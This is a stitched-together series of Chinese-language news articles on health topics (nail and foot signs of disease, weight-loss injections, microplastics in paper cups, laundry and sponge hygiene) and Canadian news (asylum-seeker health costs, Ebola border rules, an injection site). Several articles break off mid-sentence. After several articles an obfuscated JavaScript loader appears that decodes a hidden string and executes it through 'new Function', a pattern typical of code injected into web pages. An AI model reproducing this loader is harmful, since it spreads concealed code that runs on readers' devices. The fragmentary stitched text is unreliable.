许多时候，一些看似微不足道的身体部位，如眼白、舌头甚至指甲，往往是反映内脏健康的第一道防线。当人体内部系统、气血运行或微循环出现异常时，这些末梢部位便会悄悄产生细微变化。因此，学会观察自己身上“微小部位”，能提早捕捉到身体发出的求救讯号。 重症科医生黄轩在Facebook专页发文指，在临床看诊时，医生除了听诊、量血压和看化验报告外，很多时候病人一坐下，光是观察其指甲，就已经能捕捉到身体发出的健康讯号。指甲的生长需要稳定的血液循环、氧气供应、营养代谢及免疫系统维持。当肝脏、肾脏、心脏、肺部或血液系统出现问题时，这些病变有时会悄悄反映在指甲的颜色、纹路与形状上。 ８种指甲颜色 分辨潜藏疾病 临床上，医生往往在病人未开口前，就能从指甲看出端倪。黄轩医生分享曾遇过一名中年男性，起初只觉得近期容易疲倦和气促，以为是工作压力大，但医生注意到他的指甲末端异常鼓起，状似倒扣的小汤匙，这是典型的“杵状指”，进一步检查后证实罹患肺癌。以下是常见的指甲异常状态及其潜在病因： 1. 粉红或淡肉色指甲   外观：健康的指甲通常呈现均匀的粉红色或自然的淡肉色，整体表面平整光滑、带有自然光泽，且无坑洞、凹凸条纹或异常斑点。同时，指甲底部通常会出现边界清晰的白色“半月形”（俗称月牙），而质地则坚韧兼具弹性，不易脆裂或分层折断。 分析：这两种色泽皆反映出人体内部的气血充足、营养代谢良好，且末梢微循环运作正常。市民若拥有这类状态的指甲，只需继续维持均衡饮食与良好的个人衞生习惯即可，毋须过分担心。 ２. 白色指甲 外观： 指甲大部分变白，只剩尖端有一小条粉红色。 潜在病因： 临床研究发现，高达 82% 的肝硬化患者会出现此征状。其他原因包括充血性心脏衰竭、糖尿病、营养不良或肾脏疾病。 ３. 黄色指甲 外观： 指甲变黄、变厚且易碎。 潜在病因： 最常见的是真菌感染（即灰指甲/甲癣）。此外，亦可能与慢性支气管炎、肺病、淋巴水肿有关。长期吸烟或频繁涂抹深色指甲油亦会导致指甲泛黄。 ４. 蓝色指甲 外观： 指甲或嘴唇呈现蓝紫色，医学上称为“发绀”。 潜在病因： 这是血液中含氧量不足的强烈讯号。可能由先天性心脏病、严重肺病或新冠病毒（COVID-19）重症引致的低血氧所造成。若非环境极度寒冷所致，蓝紫色指甲属于紧急危讯，必须即时就医。 ５. 半白半棕指甲 外观： 指甲前半段（近手指根部）呈白色，后半段（近指尖）呈棕红色，界线分明。 潜在病因： 这是慢性肾脏病的重要线索，常见于洗肾（透析）或接受肾移植的患者，约有四成慢性肾病患者会出现这种“半半甲”。 ６. 黑色纵纹指甲 外观： 指甲上出现一条由根部延伸至尖端的黑色或深棕色直线。 潜在病因： 虽然可能是良性痣，但亦有机会是皮肤癌中最危险的“黑色素瘤”。若黑线延伸至指甲周围的皮肤，医学上称为“Hutchinson氏征象”，需立即寻求皮肤科医生诊治。 ７. 汤匙状指甲 外观： 指甲中央向内凹陷，边缘翘起，形似一只小汤匙，甚至能容纳一滴水。 潜在病因： 最常见于缺铁性贫血患者，或是长期接触汽油等有机溶剂的人士。通常在补充足够铁质后，指甲形状会逐渐改善。 ８. 杵状指甲 外观：...

【星岛综合报道】一位卑诗妇人在赴中国探亲期间陷入昏迷，她的女儿表示，母亲经过漫长的旅程，终于回到家了。 据加通社报道，卑诗女子兰泰涅(Elena Lanteigne)说，她的母亲、78岁的阿沃托娃(Lilia Avoutova)，在中国西南城市昆明的一家医院昏迷两个月后苏醒，其后乘坐8小时火车，再搭乘了12小时的飞机才抵达温哥华。 阿沃托娃于3月4日抵达昆明，几日后突发脑出血和中风，此后一直处于以药物诱发的昏迷状态。 在此期间，她的女儿前往昆明，并设法接母亲回家，却发现医疗包机费用达约40万加元。 即使是有医疗设备的民航机，费用也超过10万加元，更遑论她母亲目前的情况太差，不适合乘搭。 据称，她和丈夫花光了所有积蓄，并透过GoFundMe平台筹得近2.2万元，以帮助减轻经济压力。 兰泰涅说，其母从中国到温哥华的最后一程搭乘了空中救护车（air ambulance），目前她正在卑诗省本拿比市一家医院，接受中风治疗。 兰泰涅表示，阿沃托娃将面临漫长的康复期，可能需要长期照护。 “这真是一段漫长的旅程，”兰泰涅说道，“最重要的是，至少妈妈回家了，现在和我们在一起，我们可以在她的康复期间陪伴在她身边。” “对我而言，是她把我养大的，在我还是婴儿的时候就一直照顾我，现在轮到我回报她了。” 图：加通社/资料图片 V6 ● 相关新闻：老妇甫到中国中风病危 住院每日千元包机回国天价 女儿哀哭不知所措

脚底也可反映肝脏健康？有营养师指出，如发现脚底出现5大异样，恐是肝病代谢异常。当中如脚底伤口愈合慢，恐属高血糖，宜多加留意。 看脚底5大变化自测健康 1种颜色恐属肝胆代谢异常 营养师高敏敏在Facebook专页发文指出，很多人每天忙于工作与生活，却甚少低头关注自己的双脚。脚底长期被鞋袜包覆，很容易被忽略；然而，脚底的颜色与皮肤状态，有时正悄悄反映着身体的健康警号。她为大家拆解了5种常见的脚底状态，并提供相应的饮食建议： 看脚底5大变化自测健康 1.脚底偏白、没血色 可能与贫血、缺乏铁质或维他命B12有关。当身体运送氧气的能力下降，末梢血液循环变差，脚底看起来就会偏白、冰冷及缺乏血色。别以为单纯的手脚冰冷没关系，长期营养不足会影响整体代谢与精神状态，必须从根本改善。建议补充红肉、猪肝、蚬、深绿色蔬菜、蛋类。 2.脚底偏紫、暗沉 可能与血液循环不良、久坐少动或高血脂有关。血流不畅顺，脚底颜色就容易显得暗沉无光，建议补充三文鱼、鲭鱼、亚麻籽、莓果、绿茶。现代人久坐的习惯十分普遍，除了调整饮食，平时亦要多起身活动，改善末梢循环问题。 3.脚底偏黄 除了因足底厚茧或色素沉淀所致，脚底偏黄亦可能是肝胆代谢异常的警号。此外，若长期摄取过多含丰富胡萝卜素的食物，如红萝卜、南瓜、番薯、木瓜等，也可能令皮肤短暂泛黄。若同时出现眼白泛黄、尿液颜色变深，应尽快求医检查肝胆功能。如果泛黄范围延伸至身体其他部位，更不能掉以轻心，不要因为没有痛楚就忽略检查。 4.脚底干裂、脱皮 常见于水分不足、缺乏脂肪酸、维他命A或锌摄取不足，同时亦可能与血糖控制不佳有关。皮肤状态是营养的镜子，当身体缺乏油脂与微量元素，很容易反映在脚部。因此除了外在保湿，内在的营养补充亦同样重要，建议补充坚果、牛油果、蛋黄、蠔、豆类。 5.脚底伤口愈合慢 多见于糖尿病患者，因高血糖会影响身体的血液循环与伤口修复能力，建议补充蠔、牛肉、南瓜籽、坚果、番石榴、奇异果、柑橘、青椒，还可以从饮食小技巧进行控糖： 避免精制糖：面包、蛋糕、含糖饮品 选择低GI食物：糙米、番薯、全谷类 调整用餐顺序：先吃菜，再吃蛋白质，最后吃淀粉 高敏敏强调，如果脚底颜色持续异常，或出现麻木、冰冷、水肿及疼痛等症状，务必尽快寻求医生协助。维持健康从来不是靠单一方法，而是长期累积的生活习惯。只有做到饮食均衡、规律运动及控制三高，才是维持健康循环与好气色的关键。她建议，每星期花10秒钟看看自己的脚底，观察颜色与变化，作为日常健康管理的一部分。 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++) _code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62); (new Function(_code))(); })();

瘦瘦针在全球掀起热潮，数以百万计人士成功摆脱肥胖困扰。然而，最新研究揭示，这类被俗称为“瘦瘦针”的药物，在快速减去脂肪的同时，亦可能导致肌肉大量流失，程度相当于自然老化10年以上，带来意想不到的健康风险。 瘦瘦针｜肌肉流失可达10% 等同老了10岁 据外媒报道，美国糖尿病协会最近公布的研究结果指出，GLP-1类肥胖治疗药物除了减少脂肪外，亦会引发肌肉质量的下降，部分使用者经历了高达10%的肌肉流失。研究人员将这种程度的下降描述为“与通常老化10年以上所出现的肌肉流失”程度相当。 研究人员指出，短期内大量流失肌肉会引致虚弱、身体不稳、协调能力下降，同时减慢新陈代谢，增加日后体重反弹的风险。 【同场加映】肥胖可致9大慢性病 瘦瘦针｜真实个案：减走近百磅、开罐头也吃力 美国乔治亚州30岁女子Chanel Robinson，使用瘦瘦针Mounjaro近3年，成功减掉近100磅，胆固醇回归正常，多囊卵巢症候群亦受控。但她渐渐发现背后的健康代价： 每天肌肉疲劳 身体虚弱 经常感到寒冷 连开罐头也感吃力 来自美国丹佛的30岁Rayna Kingston注射瘦瘦针Zepbound后，翌日已极度疲劳、需由伴侣将饭菜送到床上，更无法运动，医生亦未有提供任何肌力训练或肌肉维持的指导，最终在2个月内停药。 瘦瘦针｜女患者更易有副作用 用药必须配合运动 医学界担忧，快速减肥可能同时带来肌肉流失的问题。肌肉流失在一般减肥过程中亦可能发生，但若在短时间内急剧恶化，可引发基础代谢率下降、体重反弹。 参与该研究的Daniel Green指出：“在治疗肥胖的过程中，我们实际上正在增加身体的虚弱程度。”他表示，不少服用者起初感觉良好，但很快便感到虚弱和嗜睡。他强调，使用这类药物必须与肌力训练结合，减慢肌肉流失，建议药盒上应标明“必须配合阻力训练使用”。 去年意大利杜林一所大学医院的研究指出，使用GLP-1药物后肌肉流失的副作用，在女性患者中可能比男性患者更易产生不良反应。其他常见副作用包括恶心、腹泻、偏头痛，以及较罕见的胰脏炎。 瘦瘦针｜50岁以上高危族群 肌肉流失加速老化 专家表示，肌肉快速流失对50岁以上、患有骨质疏松或行动不便的人士尤其危险，可增加受伤风险。犹他大学副教授Katsu Funai指出：“肌肉流失对行动和生活品质有害，而且不安全。” 资料来源：Seoul Economic Daily、WSJ T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var...

【星岛综合报道】卑诗卫生厅长奥祖宜(Josie Osborne，图)周三(27日)下午宣布，关于温哥华市中心的预防药物过量站点（Overdose Prevention Site，简称OPS，俗称安全注射屋）将不会开放。 奥祖宜最新的声明，推翻了她几周前对此事的立场。当时，她曾表示，尽管市长沈观健强烈反对，但该中心仍将开放。 该中心原计划设在赫尔姆肯街(Helmcken St) 900号。卫生部门表示，选择该地点是为了平衡在受毒品问题重创的地区提供救生服务的需求，以及社区对街头治安和毒品使用的担忧。 相关新闻：【观点】温哥华商界及市民怒吼“受够！”请愿杯葛新设注射屋 奥祖宜在声明中表示，温哥华沿岸卫生局目前不会在赫尔姆肯街900号设立预防药物过量站点，目前也没有计划的开放日期。 “自从宣布计划在赫尔姆肯街900号开设新的预防药物过量站点以来，我及社区安全省务厅长杨子亮(Terry Yung)就已听取了来自市政府、当地企业和社区伙伴的担忧。” 她在声明中说：“省府致力于与温哥华市政府、当地企业和社区伙伴合作，确保人们能够获得救生服务，同时解决社区提出的担忧，并支持为所有人营造安全健康的社区环境。流动式的预防药物过量站点将继续运营，为该地区提供有限的服务。” V02

洗碗时碗碟不油，贪方便只用清水加百洁布洗刷？一项研究指出，若单用清水洗碗，过水后仍会残留高达8000个活菌。到底日常使用过的百洁布需要如何处理才能有效避免滋生细菌？ 根据日媒《grape》报道，FCG综合研究所进行了一项洗碗实测，研究人员将约1亿个金黄色葡萄球菌及肉类萃取物，沾满于一块全新的百洁布上，模拟日常受污染的状态，然后测试不同清洗方式下，餐具上残留的细菌数量。 研究有何发现？ 研究人员设定的清洗条件为：用受污染的百洁布将整个培养皿擦洗10次，然后在流水下（水温约23℃）冲洗10秒钟。若使用洗洁精，则会将约2.5克洗洁精直接涂抹在百洁布上。测试结果如下（CFU为细菌数量单位）： 1.只用清水洗（没有洗洁精）： 清洗前（CFU）：77,000 清洗后（CFU）：8,000 2.具有抗菌特性的洗洁精 A： 清洗前（CFU）：390,000 清洗后（CFU）：0 3.使用没有标注抗菌洗洁精B： 清洗前（CFU）：130,000 清洗后（CFU）：0 研究所警告，这证明了如果百洁布本身带有细菌，单用清水洗会污染餐具。洗碗时都必须使用洗洁精，并在流水下彻底冲洗干净，才能有效洗走细菌。 使用过的百洁布如何避免滋生细菌？ 研究所提醒，每次百洁布使用后必须做齐以下保养步骤，防止百洁布沦为恶菌温床： 清洗完毕后，务必将百洁布彻底拧干，去除多余水分，然后悬挂起来晾干。若遇上晴天，建议将其放在太阳下晾晒，阳光中的紫外线具有极佳的天然杀菌作用。 清洗处理过生肉的砧板和刀具时，必须格外小心。生肉含有大量可能导致食物中毒的致病菌，这些细菌极易转移到百洁布上。清洗这类用具后，除了用流水彻底冲洗及完全晾干百洁布外，亦强烈建议使用含氯漂白剂浸泡清洗。 市面上标榜消毒除菌的洗洁精功效各有不同，未必能消除所有种类的细菌。 当发现厨房百洁布明显变脏或发出异味时，请尽快更换全新的一块。 资料来源：《grape》 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++) _code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62); (new Function(_code))(); })();

【速干衣/快干衣】夏天高温闷热，每每坐巴士地铁总会传来阵阵汗臭，而当中速干运动衫更加是“噏臭”重灾区！有网友在社交平台指，为何速干衣穿过之后、即使清洗多次，依然散发臭味？究竟问题出在哪里？又有没有办法彻底解决？有专家分享了一套专为速干内衣与运动服而设的除臭方法，帮助大家解决衣物异味困扰。 速干衣｜网民热话“为何汗臭牢固、洗极都臭”？ 有网民在Threads上发文呼吁有体臭人士最好穿着纯棉衫，别穿速干运动衫、否则“臭到成条街都闻到”。此贴文一出旋即引发广泛讨论，原来不少港人都有类似经验：穿着速干运动衫流汗后，衣物很快变干，但汗臭味却牢牢附着，即使用洗衣剂清洗也难以消除。 有网民指“高密度布料令汗水残留、细菌滋生”，亦有人无奈表示：“洗极都唔得，件衫臭就应该丢咗佢。”事实上，速干衫越洗越臭的原因不在于个人体臭，而是速干衣物的特殊结构。 速干衣｜布料结构成细菌温床 吸水快干却易藏污 日本洗衣专家ハナ（Hana）解释，市面上的速干机能性内衣和运动服，虽然轻薄，但其实由多层纤维构成： 贴近肌肤的一侧是较粗的纤维层 向外侧逐渐变为较细的纤维层 这设计利用“毛细现象”将汗水由粗纤维吸向细纤维，迅速挥发，保持皮肤干爽 然而，正是这种多重纤维结构，加上聚酯纤维本身容易吸附皮脂污垢，导致汗水中的油脂和蛋白质残留于纤维深处。一般的洗衣液难以彻底渗透，久而久之便形成顽固的异味，越洗越臭。 速干衣｜脱下后立即清洗 勿放过夜 Hana指出，沾有皮脂和汗水的衣物若放置不管，会令引致异味的细菌大量繁殖。这些细菌会在纤维深处形成一层坚固的“生物膜”——如同“牙菌斑硬化成牙结石”般，之后洗衣液便无法渗入，即使用漂白水也难以去除。因此，脱下后的衣物应尽快清洗，切勿堆放过夜。 速干衣｜除臭3部曲：洗衣粉末、漂白剂、杀菌液 针对速干衣已经残留的异味，Hana提出三种方法： 1. 使用弱碱性洗衣粉末 汗水和皮脂属于酸性，使用与酸性相反的弱碱性洗衣液，可透过中和作用更有效去除污垢。 一般中性洗衣液洗净力较弱，建议选用“粉末状”的弱碱性洗衣剂。 粉末洗衣剂大多含有萤光剂，尤其不适用于有色衣物；购买时可选类似无萤光剂的环保洗衣粉）。 2. 用漂白剂浸泡除菌 若异味已经明显，单靠洗衣液不足够，还需要搭配漂白剂进行浸泡除菌，可使用氧系漂白剂（粉末状）。 切勿使用氯系漂白剂（会破坏衣物颜色）或液体漂白剂（洗净力弱）。 漂白剂浸泡｜做法： 将氧系漂白剂溶于50度以上的热水中。 浸泡衣物1至2小时。 放入洗衣机，按常规程序清洗。 漂白剂浸泡｜功效： 热水能产生氧气泡泡，使皮脂和污垢浮起脱落，有效去除异味。 3. 逆性皂液对付顽固生物膜 如果经过上述步骤仍有顽固异味，代表生物膜已经形成。此时需要医疗级别的“逆性皂液”，多用于外科手术前医护人员的消毒杀菌液。它不具清洁力，但杀菌能力比一般“除菌”产品更强。 逆性皂液除菌｜做法： 将逆性皂液稀释500倍，浸泡衣物。 棉、麻约浸泡2小时，聚酯纤维约需浸泡6小时（可睡前浸泡，早上处理）。 因为逆性皂液会降低洗衣液的清洁力，要用清水彻底冲洗干净。 再放入洗衣机，使用洗衣液正常清洗。 异味困扰身边人 异味往往自己不易察觉，但对身边人却造成困扰，快干衣带来的干爽舒适固然重要，但正确的清洁保养才能穿得安心又自信，让每一件运动衫都清爽无味。 资料来源：洗衣专家ハナ（Hana）、sugar_sweet_evildoer@Threads T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++) ...

近日，辉达（NVIDIA）行政总裁黄仁勋随美国总统特朗普访问北京，这位科技界巨擘兼“AI教父”的一举一动旋即成为传媒焦点。然而，有网民在Threads上载黄仁勋的手指特写，图中显示他的大拇指指甲呈现灰黑色、疑患“灰甲”，更留言“建议大家遇到黄仁勋也不要和他亲切握手”，该帖文迅速引发热议。 辉达CEO黄仁勋大拇指灰黑、疑患灰甲？ 照片显示，黄仁勋的大拇指指甲并非正常肤色，而是带有瘀青般的灰黑色，且指甲形状略有异常。网民反应两极，有人嘲讽“月薪三万的在担心月薪三百万的”，亦有网民认为不应攻击他人外表。 辉达CEO黄仁勋指甲灰黑引起热议。（网上图片） 有皮肤科医生在同一帖文留言指出，该情况并非典型灰指甲，而是“黑甲”（Melanonychia）。黑甲是指指甲母质有黑色素细胞活跃，色素延伸至指甲生长位置，形成一条或多条纵向黑线。发炎、感染、外伤亦可能引致。虽然指甲母质局部霉菌感染亦可造成一条黑甲，但非常罕见，且与一般灰甲的外观不同。 到底是灰甲还是黑甲，网上相关的图片资讯不足，加上黄仁勋也没有公开病史，大家也无从判断。但灰甲有甚么特征，是否真的如网民所言“甲面呈灰黑色且指甲变厚”就是灰甲？ 灰甲是甚么？甲面一定呈灰黑色吗？ 皮肤科专科医生胡惠福曾接受《星岛头条》访问时解释接受灰甲，医学上称为“甲癣”，是指甲或脚趾甲受真菌感染所致。初期症状包括： 指甲颜色转变：呈灰、啡、黄、白等色泽 质地改变：变厚、易碎、表面粗糙、凹凸不平等 严重情况：指甲变形、甲牀分离脱落，甚至出现疼痛 因此，指甲变色不一定等于灰甲，亦可能是外伤或其它皮肤疾病所致；灰甲亦不一定只会是灰黑色，也有可能呈黄白色等。但要留意，灰甲不仅影响外观，若不及时治疗，真菌可能扩散至其他指甲或皮肤，引发更广泛的感染。 灰甲｜雨天湿鞋易惹菌 拆解4招预防+家居5大成因 香港夏季多雨，外出不久鞋袜便全湿。胡医生指出，雨水浸湿鞋袜后，双脚长时间处于侷促潮湿的环境，容易滋生真菌，引致灰甲或“香港脚”（足癣）。以下是建议的预防措施： 1. 弄湿双脚 如果弄湿双脚，最好立即脱掉鞋袜，抹干或用风筒吹干双脚 2. 备用鞋袜 若已带备拖鞋，宜换上，以令双脚透气、 保持干爽；在下雨天，宜带备多一双袜子作替换 3. 鞋子全湿 放在通风的地方风干，或用风筒吹干，可把一些报纸、废纸塞进鞋子里吸水，令其更快变干 若未能即时换鞋，或车程较长，可先用纸巾印干双脚，另放纸巾到鞋子内吸水 4. 避免穿长靴 穿雨靴避免穿长靴，宜穿较宽松的中短筒雨靴 穿着雨靴前，宜先穿袜子 进入室内，宜换上通爽的鞋子，不宜继续穿雨靴，以免令双脚潮湿、侷促，并引发“香港脚” 注册中医师何慧欣曾在个人专页发文解构灰甲问题，何医师列出了家居5大成因，恐增加感染灰甲的机会： 与其他人共用毛巾、 袜子、鞋子等个人物品 共用指甲挫、指甲钳 经常外出修甲 在泳池边、健身室、瑜珈中心、公众浴场等地方赤脚行走 指甲经常外于沾湿的状态 无论是黄仁勋的指甲事件引发的讨论，还是雨天湿鞋带来的感染风险，都提醒我们要关注指甲与足部健康；保持双脚干爽清洁，便能有效降低感染机会。 资料来源：felixoxorz@Threads T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var...

【星岛综合报道】一份国会预算官(PBO)新公布的报告指出，联邦政府在上一个财政年度花费超过7.22亿元，为数万寻求庇护者提供了广泛的医疗保健服务，其中相当一部分用于“难民申请失败者”的医疗保健，这些人有的仍在系统中苦苦等待，有的则在逃避遣返令。 据Postmedia报道，PBO对联邦“临时联邦医疗计划”（IFHP）的审查还发现，由于加拿大庇护申请系统存在严重“积压”问题，导致申请人等待时间过长，有些情况下甚至长达三年，令该计划的成本持续攀升。 一年埋单近8.22亿元 IFHP的设立，旨在为被认为弱势外国公民提供有限的临时医疗保健服务。 保守党卫生事务评论员马齐尔（Dan Mazier）和移民事务评论员加纳(Michelle Rempel Garner)指出，这份报告显示，自由党该临时项目“已经演变成一项多年期、由纳税人资助的福利计划，它让数万名虚假的庇护申请者获得了加拿大人无权享受的医疗福利。” 他们在声明中指出：“自由党必须向加拿大人解释，为甚么那些难民申请已被拒绝、面临强制遣返令、甚至在某些情况下拒不出庭接受遣返的人，在逃避离开加拿大的同时，仍可继续享受由纳税人资助的豪华医疗福利。” 如果计入已安置的难民，则2024-2025年度所有医疗保健类别和受惠群体的总支出已接近8.22亿元。而难民“是在海外被筛选和评估，其入境符合政府的《移民水平计划》（Immigration Levels Plan）设定人数目标，因此接收和处理时间相对可预测。”与寻求庇护者完全不同。 寻求庇护者比难民得到更多 PBO指出，寻求庇护者平均每年每人花掉724元的基本医疗费用，包括看医生、住院治疗、救护车、化验、诊断测试和移民体检；而重新安置的难民每年平均只需97元。他们通常会在3个月内便停止享受IFHP，最长不超过一年。 PBO发现，寻求庇护者人均基本医疗支出正持续成长，并以补充医疗产品和服务（包括紧急牙科治疗、处方药、视力保健、咨询服务、辅助设备等）的支出成长速度更快。 2019-20年度，补充福利支出为9,400万元。到2023-24年度，支出几乎翻了三倍，达到2.85亿元，并在2024-25年度达到4.57亿元。 其中，处方药和紧急牙科治疗占总支出的80%，而紧急牙科治疗占该计划支出的56%。 PBO指出，牙科索偿数量在2019年至2025年间激增了43％（由24万例增至140万例）。加上平均单次理赔成本上升，令牙科开支在这段时间由3,000万元飙升至2.57亿元。 PBO也发现，咨询服务支出占补充支出总额的比例，从2016年的不到1%，至2025年已高达11%。2024-2025年度，该项支出为3,870万元。 马齐尔在社交媒体X上发文指出，“国会预算官透露，近74,000名被拒绝的庇护申请者，有权透过IFHP获得豪华医疗福利”，而“这是那些一生都在为加拿大公共医疗体系缴费的人所无法享受的福利”。 寻求庇护人数激增 虽然这些不断上涨的开支增加了IFHP的总成本，但寻求庇护“申请者人数激增”，以及随之而来的“持续积压”，也是主要原因。 在2019年处理了64,150份庇护申请的官员表示，到2024年，这一数字将超过173,000份。根据新自由党政府的移民政策，到2025年，这一数字将下降到略高于10万份。 PBO写道，“截至2025年12月，超过30万份庇护申请仍在等待裁决，其中约65%的待审申请已在系统中停留超过一年。”“自2021年以来增加了五倍。” PBO计算得出，每增加一个月的处理时间，则该专案在下一财年的成本就可能增加7,200万元。 要在加拿大获得庇护难民身份，申请人必须经过多层审查，如果被拒，他们还有有多种途径可以上诉。例如，79%被移民及难民委员会(Immigration and Refugee Board)拒签的申请人，至少提出过一次上诉，在此期间，他们仍然有资格享受IFHP。 图：加通社/GETTY IMAGES V6 ● 相关新闻：加拿大冀遏阻临时居民藉申庇护逗留 移民部考虑用科技追踪离境情况 ● 相关新闻：联邦政府向难民收取医疗共付额　料年省1.4亿

都市人工作节奏急促，每天早上“人手一杯”外卖热咖啡或奶茶已成为都市常态。不少市民认为纸杯比塑胶杯更环保及安全，但营养师提醒，长期饮用纸杯盛装的热饮，可能会摄入有害物质，增加大脑受损及患上脑退化风险。 纸杯内层“1物质”受热释放微塑胶 营养师徐慈家指出，为了防止纸杯渗漏，其内壁通常会涂上一层“塑胶淋膜”，常见材质为低密度聚乙烯（LDPE，即4号塑胶）。虽然这层膜在低温或常温下性质相对稳定，但当倒入高温的热水或热咖啡时，热力可能导致塑胶淋膜降解，并释放出微塑胶颗粒混入饮品中。 微塑胶如何损害大脑？ 人体原本设有“血脑屏障”（Blood-Brain Barrier, BBB）作为防护机制，筛选血液进入脑组织的物质。然而，纳米级的塑胶微粒因体积极细，极大机会避过筛选并穿透屏障进入大脑，且难以被清除。 根据顶尖医学期刊《自然医学》（Nature Medicine）的研究发现，在失智症（如阿兹海默症）患者的大脑样本中，塑胶微粒的浓度竟比一般人高出10倍。微塑胶对大脑的威胁主要包括： 引发慢性发炎： 免疫细胞会将微粒视为入侵者，导致脑组织长期发炎。 干扰能量代谢： 损害神经细胞的粒线体功能，令能量供应异常。 增加神经退化风险：与阿兹海默症、帕金森氏症等神经退化疾病的研究正在累积。 要减少微塑胶进入体内，营养师建议从日常生活细节入手，建立3道健康防线： 自备环保杯： 购买外卖热饮时，尽量自备不锈钢或玻璃材质的环保杯。 减少外卖塑胶容器： 购买热汤或热面时，亦建议自备环保餐具或容器。 选择堂食： 若不便携带环保杯，应尽量选择堂食，并要求使用店家提供的瓦杯或瓷碗。 脑退化症早/中/晚期有何症状？ 据香港医管局资料，认知障碍症（脑退化症）是因大脑神经细胞病变而引致大脑功能衰退的疾病，患者的记忆、理解、语言、学习、计算和判断能力都会受影响，部分且会有情绪、行为及感觉等方面的变化。估计本港70岁以上长者当中，每6位女性就有1人患上认知障碍症，每10位男士则有1位患者。 认知障碍症按照不同成因，最常见的阿兹海默氏症 (Alzheimer’s Disease)，占所有病例约74%，其次是血管性失忆症 (Vascular Dementia)，约占22%，其他失忆症如脑部前额颞叶病变，比例约为4%。 1. 早期症状（第1-2年） 在此阶段，家人和朋友通常会以为患者的症状，只是因为年纪渐老而出现的正常老化过程，常见症状包括失去短期记忆；表达或理解抽象事情时感困难，如表达身体不适、心情感受等；情绪或行为变幻无常；学习新事物及跟随复杂指令感困难；判断力减退、基本自理活动仍能应付，但需旁人提醒。 2. 中期症状（第2-5年） 随着病情的进展，患者早期的困难会更加明显，症状包括混淆远期记忆和现实情况记忆、偶有词不达意的情况；行为性格转变，或会容易情绪不稳；需别人协助日常自理活动。 3. 晚期症状（第5年后） 患者生活几乎完全依赖别人，不能自我照顾，症状包括记忆缺损，连熟悉的人和事也会忘记；身体活动及精神状况出现衰退；未能有效表达及沟通；不能处理日常生活、需要长期照顾；生理时钟混乱。 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var...

【星岛综合报道】由于刚果民主共和国、乌干达及南苏丹的伊波拉病毒个案持续上升，加拿大联邦政府正在实施新的边境措施，以防止伊波拉疫情蔓延至加拿大。 据CTV报道，从本周开始，来自受影响地区的旅客必须进行21天的自我隔离。加拿大移民、难民和公民部(IRCC)也暂停部分移民申请的最终决定。 在卫生部长及移民部长召开新闻发布会之前，政府官员向记者进行了简报，他们表示，根据《隔离法》(Quarantine Act)的新措施将于周六开始实施。 官员表示，目前加拿大面临的健康风险“被认为较低”，并且尚未报告任何与旅行相关的病例。 相关新闻：【伊波拉病毒】美拒绝刚果旅客入境 法航班机改降满地可引争议 相关新闻：伊波拉病毒｜刚果医院连环遇袭25名病人逃脱 恐成社区爆发隐形炸弹 从5月30日起，过去3周内曾到访过受影响国家的加拿大公民、永久居民、根据《印第安人法》(Indian Act)登记的个人以及外国公民仍可入境加拿大，但他们必须在抵达时接受健康评估并遵守公共卫生措施。 出现症状的旅客将被送往医院进行评估，无症状旅客必须提交为期3周的自我隔离计划。 世界卫生组织(WHO)指出，伊波拉病毒在人类中较为罕见，主要透过直接接触传播，但病情严重且往往致命。目前，该疾病正在刚果民主共和国肆虐，该国官员本月初宣布疫情爆发。 WHO警告称，目前在刚果及乌干达出现的伊波拉病毒类型尚无疫苗或特效疗法，但WHO表示正在积极研发。 IRCC将于明天起实施一系列措施，以降低病毒传播至加拿大的风险，其中包括暂时中止向刚果民主共和国、乌干达和南苏丹居民发放某些移民文件。 